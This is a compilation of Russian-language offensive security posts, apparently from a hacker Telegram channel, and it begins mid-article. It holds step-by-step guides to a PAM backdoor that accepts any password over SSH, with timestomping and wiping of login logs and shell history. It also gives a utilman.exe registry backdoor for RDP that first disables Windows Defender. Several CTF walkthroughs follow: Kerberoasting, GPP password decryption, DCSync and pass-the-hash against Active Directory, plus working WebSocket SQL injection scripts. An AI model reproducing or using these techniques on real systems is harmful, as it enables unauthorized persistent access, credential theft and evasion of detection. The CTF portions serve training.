• pam_sm_authenticate осуществляет аутентификацию пользователя. Она проверяет предоставленный пользователем пароль и возвращает PAM_SUCCESS в случае успеха.
• pam_sm_acct_mgmt проверяет параметры УЗ пользователя (например, проверка срока действия учетной записи).
• pam_sm_setcred устанавливает удостоверение пользователя (выдача доступа).

Теперь давайте скомпилим наш проект, предварительно установив нужные зависимости и компоненты:

apt install libpam0g-dev
gcc -fPIC -c -o test.o test.c
gcc -shared -o test.so test.o

Переместим к другим файлам:

mv test.so /lib/x86_64-linux-gnu/security/

Теперь давайте подключим наш модуль для авторизации с помощью SSH

Просмотрим содержимое файла /etc/pam.d/sshd

В самом начале видим подключение common-auth, которое нужно будет изменить.

Раньше логика взаимодействия была указана отдельно в каждом конфигурационном файле сервиса, то сейчас в новых версиях Linux используется подключение конфигурационных файлов /etc/pam.d/common-account, /etc/pam.d/common-auth и тд, которые используются в конфигурации pamd других сервисов.

Это даёт нам возможность изменить всего лишь common-auth, при этом закрепившись в ssh, su и т.д.

Давайте так и поступим:

nano /etc/pam.d/common-auth

Было:

Стало:

systemctl restart ssh

Пробуем подключиться:

ssh root@192.168.56.102
password: kali
success

ssh root@192.168.56.102
password: bye
success

Однако, если вы, по-прежнему, хотите установить бэкдур только для SSH, то можете изменить /etc/pam.d/sshd следующим образом:

Здесь мы взяли auth sufficient pam_unix.so nullok из /etc/pam.d/common-auth, чтобы не приходилось изменять и его.

Проверка:

• Для пароля bye:

• Для пароля kali:

Как видно, такой вариант увенчался успехом.

Заметаем следы

А теперь давайте замаскируем test.so, изменив его права, название и временные метки

chmod 644 test.so

mv test.so pam_auth.so

Не забываем изменить названия в конфигах с test.so на pam_auth.so

touch -r /lib/x86_64-linux-gnu/security/pam_rootok.so /lib/x86_64-linux-gnu/security/pam_auth.so

Файл успешно замаскирован.

Также не забудем про ранее подредаченные /etc/pam.d/sshdи /etc/pam.d/common-auth

touch -r /etc/pam.d/sudo /etc/pam.d/sshd

touch -r /etc/pam.d/sudo /etc/pam.d/common-auth

Теперь подчистим логи:

# echo > /var/log/wtmp
# echo > /var/log/btmp
# echo > /var/log/lastlog

history -r
cat /dev/null > ~/.bash_history

Поздравляю! Вы смогли закрепиться в системе, написав свой модуль.

Для закрепления прочитанного, предлагаю посмотреть видеоинструкцию: https://youtu.be/puf7jLTga1o

Вывод

Данный вариант закрепления не является очень надежным способом из-за создания нового файла, который более-менее опытный админ легко найдет. Также мы меняем конфиги, которые тоже можно сравнить с оригинальными. Помимо этого, мы компилили файл на целевом хосте, чего лучше не делать (по-хорошему, если это сервер, то не должно быть возможности компиляции файлов для обеспечения безопасности). Данный способ подойдет в качестве закрепления на хостах, чьи хозяева не являются уверенными пользователями Linux, которые с легкостью заподозрят неладное.

Внимание! Статья несёт исключительно информативный характер. Подобные действия преследуются по закону!

Привет! Сегодня хотелось бы рассмотреть необычный способ закрепления в системе через RDP, используя utilman.exe.

Представим следующую ситуацию: нам удалось получить reverse shell от целевого хоста. Безусловно, нам необходим backdoor для обеспечения постоянного доступа. В процессе сканирования мы узнаем об открытом 3389 порте. И как нам быть?

Немного теории

RDP (Remote Desktop Protocol) — это протокол для удаленного подключения к компьютеру или серверу с ОС Windows. С его помощью пользователи могут подключиться к удаленной машине и взаимодействовать с ее рабочим столом так, как если бы они физически находились перед ней. Чаще всего служба RDP используется для администрирования серверов, технической поддержки пользователей и удаленной работы.

Utilman.exe — это служебная программа Windows, которая служит для запуска специальных возможностей на экране блокировки (экранный диктор, экранная клавиатура, лупа и т. п.).

Реестр Windows - иерархически построенная база данных параметров и настроек в большинстве операционных систем Microsoft Windows. Реестр содержит информацию и настройки для аппаратного обеспечения, программного обеспечения, профилей пользователей, предустановки.

Информация о жертве

Сразу хотелось бы отметить, что целевой хост имеет следующую ОС:

Ключевой особенностью систем Windows Server является отключенное по умолчанию свойство "Tamper Protection", которое обеспечивает дополнительную защиту от изменений ключевых функций безопасности, включая ограничение изменений, которые не вносятся непосредственно через приложение. Другими словами, запрещает другим вмешиваться в важные функции безопасности системы (запрещает изменение реестра).

Если данная функция включена, то отключить ее можно разными методами, например: https://theitbros.com/managing-windows-defender-using-powershell/#:~:text=Tamper%20Protection%20is%20enabled%20in,action%20at%20the%20UAC%20prompt

Также обязательным условием является выключенный параметр "Require computers to use Network Level Authentication to connect", который запрещает подключаться по RDP без конкретной УЗ. Иными словами, запрет на попадание на экран блокировки

Отключение функции "Require computers to use Network Level Authentication to connect": https://www.anyviewer.com/how-to/disable-network-level-authentication-2578.html

Практический пример

Допустим, мы каким-то чудом смоги получить обратную оболочку от имени Администратора хоста:

Давайте проверим состояние активности антивируса (общий способ):

sc query WinDefend

Мы видим параметр "NOT_STOPABLE", который говорит нам о том, что защита в реальном времени активна. Выключаем её:

powershell -command "Set-MpPreference -DisableRealtimeMonitoring $true"

и опять проверим состояние антивируса:

Также можно проверить другим способом:

powershell -command "(Get-MpPreference).DisableRealtimeMonitoring"

Если эта команда возвращает значение False, то реальный мониторинг активен. Если True, то выключен.

Действительно, он выключен. Теперь, когда приготовления закончены, перейдем к закреплению:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

Следующий шаг несет в себе возможную потерю backdoor'a.

Теперь вернем Defender в исходное состояние:

powershell -command "Set-MpPreference -DisableRealtimeMonitoring $false"

и сразу проверим:

powershell -command "(Get-MpPreference).DisableRealtimeMonitoring"

Прекращаем взаимодействие с хостом через обратную оболочку и подключаемся через rdesktop:
rdesktop ip

При первом подключении принимаем сертификаты

Теперь нам осталось нажать на значок справа внизу или комбинацию клавиш Win+U:

Успех! Теперь у нас есть backdoor от имени системы.

Но почему это так работает?

Если кратко, то некоторые сервисы, службы и т.д. работают в системе с наивысшими правами. В нашем случае, utilman.exe. Изменив в реестре исполняемый файл на cmd.exe, система запускает его, опять же, с наивысшими правами (nt authority\ system)

Видео демонстрация атаки

https://www.youtube.com/watch?v=WZZT1F6lTww

Настало время пробежаться по основам атак на AD, и для примера я решил выбрать интересное задание с платформы Codeby Games: Королевство!

Приступим!

Разведка

Описание задания выглядит следующим образом:

Разведку начнём со сканирование портов, которое я осуществляю следующим скриптом:

#!/bin/bash
ports=$(nmap -p- -Pn --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -A $1

Ознакомимся с результатами:

Мы видим набор портов, характерных для контроллера домена. Отсюда же мы получаем имя домена, который собираемся атаковать.

Начнём изучение инфраструктуры со сканирования доступных SMB-шар. Делать мы это будем при помощи утилиты smbclient:

smbclient -L 192.168.2.4

Мы видим несколько стандартных шар, характерных для Windows в целом и для контроллера домена в частности, а также одну, которая сильно выделяется на фоне остальных.

Попробуем получить её содержимое:

smbclient //192.168.2.4/Docs

smb: \> dir

Мы видим немало директорий. Скопируем содержимое директорий на атакующую машину. Сделать это можно следующим способом:

mkdir Shares
cd Shares
smbclient //192.168.2.4/Docs

smb: \> recurse on
smb: \> prompt off
smb: \> mget *

Я заранее подготовил директорию Shares для организации рабочего пространства.

Пока файлы копируются, создадим файл с предполагаемыми пользователями домена:

Проверить валидных юзеров возможно при помощи инструмента Kerbrute:

kerbrute_linux_amd64 userenum -d codeby.cdb --dc 192.168.2.4 users.txt

Теперь вернёмся к SMB, и проверим, что же мы выкачали с шары:

Наибольшее внимание нас привлекает записка notes.txt, давайте изучим её содержимое:

Предположим, что мы наткнулись на не очень осведомленного в вопросах ИБ пользователя, который любит хранить пароли на записках. Что же, проверим, действительно ли мы имеем дело с паролем от учетной записи. Делать мы это будем при помощи фрэймворка crackmapexec, предустановленного в Kali:

Пароль верный, и мы получили первоначальный доступ!

Повышение привилегий

Учетная запись, которой мы владеем, не обладает какими-то выдающимися правами. Поэтому повышение привилегий мы начнем с... разведки!

Для разведки можно использовать несколько инстурментов, типа ldapsearch, ldapdomaindump, rpcclient и т.п. Я же предпочту сетевой вариант коллектора для bloodhound. Установить и запустить его можно следующим образом:

pip install bloodhound
bloodhound-python -u 'amaslova' -p 'NeverGiv3up' -ns 192.168.2.4 -d codeby.cdb -c all --zip

Сбор информации прошел успешно, следовательно, запустим BloodHound, загрузим туда собранный архив и начнем анализ информации:

neo4j start
bloodhound

Здесь я не буду подробно останавливаться на всех возможностях и преднастроенных запросах BloodHound, о них вы можете чуть подробнее почитать в документации и моей прошлой статье из цикла разборов тасков на AD:

Заглянув во вкладку анализа, мы находим важную для дальнейшей эксплуатации информацию:

Таким образом, мы теоретически можем завладеть учетной записью dsemenov@codeby.cdb, у которой есть права на подключение к контроллеру домену при помощи WinRM. А завладеть мы её можем из-за того, что эта учетная запись подвержена атаке Kerberoasting, про которую я также писал в вышеупомянутой статье.

Начнём эксплуатацию!

Для получения TGS воспользуемся скриптом GetUserSPNs.py из набора impacket

impacket-GetUserSPNs -request -dc-ip 192.168.2.4 codeby.cdb/amaslova:'NeverGiv3up' -outputfile kerberoastable.txt

Мы получаем зашифрованный TGS, а также видим, что учетная запись dsemenov действительно подвержена атаке и состоит в группе Remote Management Users, что даёт ей право подключаться по WinRM. Для восстановления пароля из билета воспользуемся утилитой JtR:

john --wordlist=/usr/share/wordlists/rockyou.txt kerberoastable.txt 

Атаку мы проводили по словарю rockyou.txt, в результате чего успешно смогли восстановить пароль учетной записи, позволяющей нам осуществить вход по WinRM на контроллер домена:

evil-winrm -u 'CODEBY\dsemenov' -p '!!!!ilovegood17' -i 192.168.2.4

Захват доменного администратора

Мы повысили привилегии в домене, но полученной информации и доступа, насколько мы знаем, пока недостаточно для полной компрометации домена.

Вектор повышения будем искать локально, для этого воспользуемся утилитой winPEAS. Для начала передадим его на хост. Хоть у машины есть прямой доступ в интернет, часто такой привилегии может и не быть, и скачать файл напрямую, да ещё с GitHub, который много где заблокирован, может быть проблематично. Поэтому для передачи файла я буду использовать impacket-smbserver, предварительно скачав winPEAS на атакующую машину:

impacket-smbserver -smb2support public binaries

Команда выше создает на нашем хосте SMB-сервер с поддержкой SMB2, на котором размещена шара public, которую мы маппим с директорией binaries на атакующем хосте.

Для копирования winPEAS на сервере достаточно просто воспользоваться встроенным функционалом операционной системы: \

copy \\<ATTACKER_IP>\public\winPEASany.exe

Теперь запускаем исполняемый файл и начинаем параллельный результатов:

После тщательного изучения вывода мы можем обратить внимания на занимательный результат в одной из проверок:

Мы видим 2 файла, а также фигурирующие в них логины и пароли. Если мы попытаемся прочитать один из них, например, C:\ProgramData\Microsoft\Group Policy\History\{E2BAD596-F796-4E2D-BE3D-37BAE6B1919D}\Machine\Preferences\Groups\Groups.xml, то увидим следующее содержимое:

Значение параметра cpassword

cpassword="oAT8Ubf3hSXiLguywSw8PC4TYZ23Gv6UHMQ+RDY3i80"

сильно отличается от результата, полученного в winPEAS. Чтобы осознать, что мы получили, обратимся к одноимённому разделу Hackticks.

Справка: кэшированный пароль GPP

До версии KB2928120 (см. MS14-025) некоторые Group Policy Preferences можно было настроить с помощью специальной учетной записи. Эта функция в основном использовалась для развертывания пользовательской учетной записи локального администратора на группе компьютеров. Однако при таком подходе было две проблемы.

1) Во-первых, поскольку объекты групповой политики хранятся в виде XML-файлов в SYSVOL, любой пользователь домена может их прочитать.

2) Во-вторых, пароль, установленный в этих GPP, зашифрован с помощью алгоритма AES256 с использованием ключа, который публично задокументирован.

Это означает, что любой прошедший проверку подлинности пользователь потенциально может получить доступ к конфиденциальным данным и повысить привилегии на своем компьютере или даже в домене.

Файлы, которые мы будем искать, расположены в следующих директориях и их субдиректориях:

• C:\ProgramData\Microsoft\Group Policy\History
• C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\History

Названия интересующих нас файлов:

• Groups.xml
• Services.xml
• Scheduledtasks.xml
• DataSources.xml
• Printers.xml
• Drives.xml

Раз ключ известен и публично задокументирован, расшифровать cPassword можно следующими способами:

gpp-decrypt oAT8Ubf3hSXiLguywSw8PC4TYZ23Gv6UHMQ+RDY3i80

crackmapexec smb 192.168.2.4 -u 'amaslova' -p 'NeverGiv3up' -M gpp_autologin

Попробуем проверить эти способы:

К сожалению, CME результатов не дал, а вот gpp-decrypt успешно расшифровал пароль (оно и неудивительно).

Раз у нас есть пароль, подключимся на машину от имени администратора:

evil-winrm -u 'CODEBY\Administrator' -p 'Not_alon3' -i 192.168.2.4

В завершении атаки сдампим NTDS.dit, тем самым полностью скомпрометировав домен:

crackmapexec smb 192.168.2.4 -u Administrator -p Not_alon3 --ntds 

На этом разбор этого задания завершён! Надеюсь, вы узнали для себя что-то новое.

Разведка

Как обычно, всегда начинаем с разведки.

nmap -A 192.168.2.3

Сразу обращаем внимание на FTP с анонимным доступом. Опытным путем попробуем авторизоваться и проверить содержимое.

ftp anonymous@192.168.2.3

Сразу заприметим учетки vlad.ivanov и ekaterina.smirnova, которые могут нам помочь в будущем.

Теперь необходимо найти что-то полезное. Находим в папке Иванова файлик "reminder.txt", в котором записан пароль

You_Shall_Not_Pass

Теперь, когда у нас есть учетка, попробуем сдампить данные с домена. Я буду использовать bloodhound (в частности, bloodhound-python для дампа). Предварительно, можно запросить TGT билет, если потребуется и заэкспортить его:

impacket-getTGT 'codeby.cdb/vlad.ivanov:You_Shall_Not_Pass' -dc-ip 192.168.2.3

export KRB5CCNAME=vlad.ivanov.ccache

С помощью этих действий, можно использовать авторизацию по билету, не используя пароля.

bloodhound-python -u "vlad.ivanov" -p "You_Shall_Not_Pass" -d codeby.cdb -c ALL -ns 192.168.2.3

Теперь идем в сам bloodhound.

neo4j start

bloodhound

Теперь загрузим наши сдампленные файлы

Перейдя во вкладку "Find Shortest Paths to Domain Admins", мы видим следующее:

Становится очевидно, что следующим нашим шагом будет получение учетки Алексея Ибрагимова, которая поможет нам получить админа и скомпрометировать домен, соответственно.

Но как нам быть, если у нас нет его пароля?

Пользовательский флаг

Давайте вернемся к FTP.

После просмотра папки Смироновой, находим файл "notes.txt", в котором говорится следующее:

Привет,
Я поменял пароль, но не помню точно на кого,
коллеги, проверьте пожалуйста - You_Shall_Not_Pass@@#

С наилучшими пожеланиями,
Тупой админ

Интересная ситуация, не правда ли? Если хорошенько подумать, то вспомним, что у нас осталось 2 учетки без пароля: aleksey.ibragimov и ekaterina.smirnova

Соответственно, мы можем сделать стандартный Password Spraying с паролем You_Shall_Not_Pass@@#.

Давайте так и поступим. Для этого создадим файлик с логинами:

# cat names.txt
ekaterina.smirnova
aleksey.ibragimov

Далее с помощью crackmapexec выполним спрэйинг

crackmapexec smb 192.168.2.3 -u names.txt -p 'You_Shall_Not_Pass@@#'

SMB 192.168.2.3 445 WOODEN [*] Windows Server 2012 R2 Standard 9600 x64 (name:WOODEN) (domain:codeby.cdb) (signing:True) (SMBv1:True)
SMB 192.168.2.3 445 WOODEN [-] codeby.cdb\ekaterina.smirnova:You_Shall_Not_Pass@@# STATUS_LOGON_FAILURE
SMB 192.168.2.3 445 WOODEN [+] codeby.cdb\aleksey.ibragimov:You_Shall_Not_Pass@@#

Видно, что пароль подошел для Алексея Ибрагимова. Отлично! Предлагаю подключиться по WinRM с помощью Evil-winrm

evil-winrm -u 'CODEBY\ALEKSEY.IBRAGIMOV' -p You_Shall_Not_Pass@@# -i 192.168.2.3

Пользовательский флаг получен.

Эскалация привелегий

Давайте вернемся в Bloodhound, чтобы еще раз посмотреть на права аккаунта Алексея и посмотреть пути эскалации.

Видим, что наш пользователь обладает правами для атаки "DCSync"

Подробнее о DCSync : https://habr.com/ru/companies/rvision/articles/709866/

Отлично, давайте так и поступим.

Необходимо сдампить хэши. Я буду использовать secretsdump из набора Impacket.

После успешного дампа, проведем атаку Pass-The-Hash, которая позволяет авторизоваться с помощью хэша по протоколу NTLM, избегая пароль.

Подробнее о Pass-The-Hash: https://hackware.ru/?p=11287

Для реализации атаки, использую psexec из того же набора Impacket

Как мы видим, мы получили шелл от имени системы. Забираем флаг.

Домен скомпрометирован!

Немножко полезной литературы по детекту атак

Возможные варианты детектирования DCSync: https://habr.com/ru/companies/rvision/articles/709942/

Детект Pass-The-Hash: http://www.oszone.net/14579/Pass-the-Hash

Злоупотребление функциональными возможностями (Abuse of Functionality)

Данные атаки направлены на использование функций Web-приложения с целью обхода механизмов разграничение доступа. Некоторые механизмы Web-приложения, включая функции обеспечения безопасности, могут быть использованы для этих целей. Наличие уязвимости в одном из, возможно, второстепенных компонентов приложения может привести к компрометации всего приложения. Уровень риска и потенциальные возможности злоумышленника в случае проведения атаки очень сильно зависят от конкретного приложения. Злоупотребление функциональными возможностями очень часто используется совместно с другими атаками, такими как обратный путь в директориях и т.д. К примеру, при наличии уязвимости типа межсайтовое выполнение сценариев в HTML-чате злоумышленник может использовать функции чата для рассылки URL, эксплуатирующий уязвимость, всем текущим пользователям. С глобальной точки зрения, все атаки на компьютерные системы являются злоупотреблениями функциональными возможностями. Особенно это относится к атакам, направленным на Webприложения, которые не требуют модификации функций программы.

Пример

Примеры злоупотребления функциональными возможностями включают в себя:

- Использования функций поиска для получения доступа к файлам за пределами корневой директории Web-сервера;

- Использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или внедрения серверных сценариев;

- Реализация отказа в обслуживании путем использования функции блокировки учетной записи при многократном вводе неправильного пароля.

Ниже приведены реальные примеры подобных уязвимостей, взятые из реальной жизни.

Программа Matt Wright FormMail Программа "FormMail" представляет собой приложение на языке PERL, используемое для передачи данных из HTML-формы на указанный почтовый адрес. Этот сценарий довольно удобно использовать для организации функции обратной связи на сервере. К сожалению, эта программа предоставляла злоумышленнику возможность передавать почтовые сообщения любому почтовому пользователю. Таким образом, приложение могло быть использовано в качестве почтового ретранслятора для рассылки спама. Злоумышленник использовал параметры URL GET-запроса для указания получателя почтового сообщения, к примеру:

http://example/cgi-bin/FormMail.plrecipient=email@victim.example&message=you%20got%20spam

В качестве отправителя почтового сообщения указывался адрес Web-сервера, что позволяло злоумышленнику оставаться полностью анонимным.

Macromedia's Cold Fusion Иногда базовый интерфейс администрирования, поставляемый вместе с Web-приложением, может использоваться с непредусмотренными разработчиками целями. К примеру, Macromedia's Cold Fusion по умолчанию имеет модуль, позволяющий просматривать исходный код сценариев. Злоупотребление этой функцией может привести к получению критичной информации Web-приложения. Удаление или отключение этой функции весьма проблематично, поскольку от него зависят важные компоненты приложения.

Модификация цены в Smartwin CyberOffice Иногда изменение данных, обрабатываемых приложением, может позволить модифицировать поведение программы. К примеру, уязвимость в функции покупки приложения CyberOffice позволяла модифицировать значение цены, передаваемой пользователю в скрытом поле HTMLформы. Страница подтверждения заказа загружалась злоумышленником, модифицировалась на клиенте и передавалась серверу уже с модифицированным значением цены.

Ссылки

"FormMail Real Name/Email Address CGI Variable Spamming Vulnerability" http://www.securityfocus.com/bid/3955

"CVE-1999-0800" http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0800

"CA Unicenter pdmcgi.exe View Arbitrary File" http://www.osvdb.org/displayvuln.php?osvdb_id=3247

"PeopleSoft PeopleBooks Search CGI Flaw" http://www.osvdb.org/displayvuln.php?osvdb_id=2815

"iisCART2000 Upload Vulnerability" http://secunia.com/advisories/8927/

"PROTEGO Security Advisory #PSA200401" http://www.protego.dk/advisories/200401.html

"Price modification possible in CyberOffice Shopping Cart" http://archives.neohapsis.com/archives/bugtraq/2000-10/0011.html

Отказ в обслуживании (Denial of Service)

Данный класс атак направлен на нарушение доступности Web-сервера. Обычно атаки, направленные на отказ в обслуживании реализуются на сетевом уровне, однако они могут быть направлены и на прикладной уровень.

Используя функции Web-приложения, злоумышленник может исчерпать критичные ресурсы системы, или воспользоваться уязвимостью, приводящий к прекращению функционирования системы.

Обычно DoS атаки направлены на исчерпание критичных системных ресурсов, таких как вычислительные мощности, оперативная память, дисковое пространство или пропускная способность каналов связи. Если какой-то из ресурсов достигнет максимальной загрузки, приложение целиком будет недоступно.

Атаки могут быть направлены на любой из компонентов Web-приложения, например, такие как сервер СУБД, сервер аутентификации и т.д. В отличии от атак на сетевом уровне, требующих значительных ресурсов злоумышленника, атаки на прикладном уровне обычно легче реализовать.

Примеры

Предположим, что сервер Health-Care генерирует отчеты о клинической истории пользователей. Для генерации каждого отчета сервер запрашивает все записи, соответствующие определенному номеру социального страхования. Поскольку в базе содержатся сотни миллионов записей, пользователю приходится ожидать результата несколько минут. В это время загрузка процессора сервера СУБД достигает 60%.

Злоумышленник может послать десять одновременных запросов на получение отчетов, что с высокой вероятностью приведет к отказу в обслуживании, поскольку загрузка процессора сервера баз данных достигнет максимального значения. На время обработки запросов злоумышленника нормальная работа сервера будет невозможна.

DoS на другой сервер

Злоумышленник может разместить на популярном Web-форуме ссылку (например, в виде изображения в сообщении) на другой ресурс. При заходе на форум, пользователи будут автоматически загружать данные с атакуемого сервера указанный ресурс, используя его ресурсы.

Если на атакуемом сервере используется система предотвращения атак с функцией блокировки IP-адреса атакующего, в ссылке может использоваться сигнатура атаки (например ../../../../../etc/passwd), что приведет к блокировке пользователей, зашедших на форум. Атаки на сервер СУБД Злоумышленник может воспользоваться внедрением кода SQL для удаления данных из таблиц, что приведет к отказу в обслуживания приложения.

Недостаточное противодействие автоматизации (Insufficient Anti-automation)

Недостаточное противодействие автоматизации возникает, когда сервер позволяет автоматически выполнять операции, которые должны проводиться вручную. Для некоторых функций приложения необходимо реализовывать защиту от автоматических атак.

Автоматизированные программы могут варьироваться от безобидных роботов поисковых систем до систем автоматизированного поиска уязвимостей и регистрации учетных записей. Подобные роботы генерируют тысячи запросов в минуту, что может привести к падению производительности всего приложения.

Противодействие автоматизации заключается в ограничении возможностей подобных утилит. Например, файл robots может предотвращать индексирование некоторых частей сервера, а дополнительные средства идентификации предотвращать автоматическую регистрацию сотен учетных записей системы электронной почты.

Ссылки

Telling Humans Apart (Automatically) http://www.captcha.net/

"Ravaged by Robots!", By Randal L. Schwartz http://www.webtechniques.com/archives/2001/12/perl/

".Net Components Make Visual Verification Easier", By JingDong (Jordan) Zhang http://go.cadwire.net/?3870,3,1

"Vorras Antibot" http://www.vorras.com/products/antibot/

"Inaccessibility of Visually-Oriented Anti-Robot Tests" http://www.w3.org/TR/2003/WD-turingtest-20031105/

Недостаточная проверка процесса (Insufficient Process Validation)

Уязвимости этого класса возникают, когда сервер не достаточно проверяет последовательность выполнения операций приложения. Если состояние сессии пользователя и приложения должным образом не контролируется, приложение может быть уязвимо для мошеннических действий.

В процессе доступа к некоторым функциям приложения ожидается, что пользователь выполнит ряд действий в определенном порядке. Если некоторые действия выполняются неверно или в неправильном порядке, возникает ошибка, приводящая к нарушению целостности. Примерами подобных функций выступают переводы, восстановление паролей, подтверждение покупки, создание учетной записи и т.д. В большинстве случаев эти процессы состоят из ряда последовательных действий, осуществляемых в четком порядке.

Для обеспечения корректной работы подобных функций Web-приложение должно четко отслеживать состояние сессии пользователя и отслеживать еѐ соответствие текущим операциям. В большинстве случаев это осуществляется путем сохранения состояния сессии в cookie или скрытом поле формы HTML. Но поскольку эти значения могут быть модифицированы пользователем, обязательно должна проводиться проверка этих значений на сервере. Если этого не происходит, злоумышленник получает возможность обойти последовательность действий, и как следствие - логику приложения.

Пример

Система электронной торговли может предлагать скидку на продукт B, в случае покупки продукта A. Пользователь, не желающий покупать продукт A, может попытаться приобрести продукт B со скидкой. Заполнив заказ на покупку обоих продуктов, пользователь получат скидку. Затем пользователь возвращается к форме подтверждения заказа и удаляет продукт A из покупаемых, путем модификации значений в форме. Если сервер повторно не проверит возможность покупки продукта B по указанной цене без продукта A, будет осуществлена закупка по низкой цене.

Ссылки

"Dos and Don'ts of Client Authentication on the Web", Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer Science http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

Предлагаю начать!

Разведка

Как и всегда, начинаем со сканирования nmap'ом:

Как мы видим, у нас открыт 22-й, 80-й и 5789-й порты. На 5789-ом порту работает websocket.

Использовав инструмент для обнаружения уязвимостей ws, мы получаем такой результат:

Подробнее о CSWSH: https://christian-schneider.net/CrossSiteWebSocketHijacking.html

Давайте теперь перейдем на сайт, предварительно изменив /etc/hosts:

В конце страницы нам предлагается скачать приложение. Давайте так и поступим.

Точка входа

Скачался архив. Распаковав его, получаем картинку и исполняемый файл:

Теперь нам нужно его каким-то образом изучить. Я пытался использовать Ghidra, но ничего путного не нашел.

Поскольку это двоичный ELF файл, то предлагаю его декомпилировать с помощью pyinstxtractor

В папке qreader_extracted появился файл qreader.pyc. Теперь нужно его превратить в qreader.py с помощью uncompyle6

В итоге, мы получаем такой вот результат:

Как мы видим, параметр 'version' может быть уязвим для SQLi.

Давайте напишем простой скрипт для проверки данной теории:

Я пробовал версию 0.0.1, 0.0.2, 0.0.3 и т.д. Если версия > 0.0.2, то возникает ошибка. Поэтому, работаем с ней. По результатам мы получили 4 столбца.

Теперь давайте узнаем версию БД:

Получена версия sqlite 3.37.2. Отлично. У нас уязвим первый столбец. Теперь давайте видоизменим скрипт для получения логина:

Логин успешно получен. Делаем те же действия для получения пароля:

Пароль тоже получен. Теперь у нас появилась проблема с логином- где он? Это имя и фамилия? Или что?

Давайте воспользуемся username генератором:

Теперь, предварительно декриптнув хэш пароля и закинув его в текстовый файлик, воспользуемся Hydra:

Подключаемся через SSH и лутаем user flag:

Эскалация привилегий

Сначала давайте посмотрим наши права через sudo -l:

Так как мы можем исполнять файл build-installer.sh от имени root'a, то предлагаю воспользоваться этим.

Исследовав build-installer.sh, мы находим такую строку:

Соответственно, нужно выполнить команду "make" для файла с расширением .py.

Давайте так и поступим:

Теперь прописываем sudo -s:

Как мы видим, мы не можем получить оболочку от имени рута.

Давайте пойдем по другому пути и условию в изначальном коде:

В данном условии расширение файла должно быть .spec и комана "bulid".

Проделаем то же:

Все успешно получилось и рут флаг взят!

Всем добра!

Использованные скрипты

Версия:

from websocket import create_connection
import websocket
import json

ws_host = 'ws://qreader.htb:5789/version'

ws = create_connection(ws_host)

item = '0.0.2" UNION SELECT sqlite_version(),NULL,NULL,NULL;— -'
json_query = {'version':item}
ws.send(json.dumps(json_query))
result = ws.recv()
print(result)
ws.close()

Логин:

from websocket import create_connection
import json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.2" UNION SELECT group_concat(answer),"2","3","4" FROM answers;-- -'

ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()

Пароль:

from websocket import create_connection
import json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.2" UNION SELECT username,password,"3","4" from users;-- -'

ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()

НАШ ТГ КАНАЛ: https://t.me/hackerblog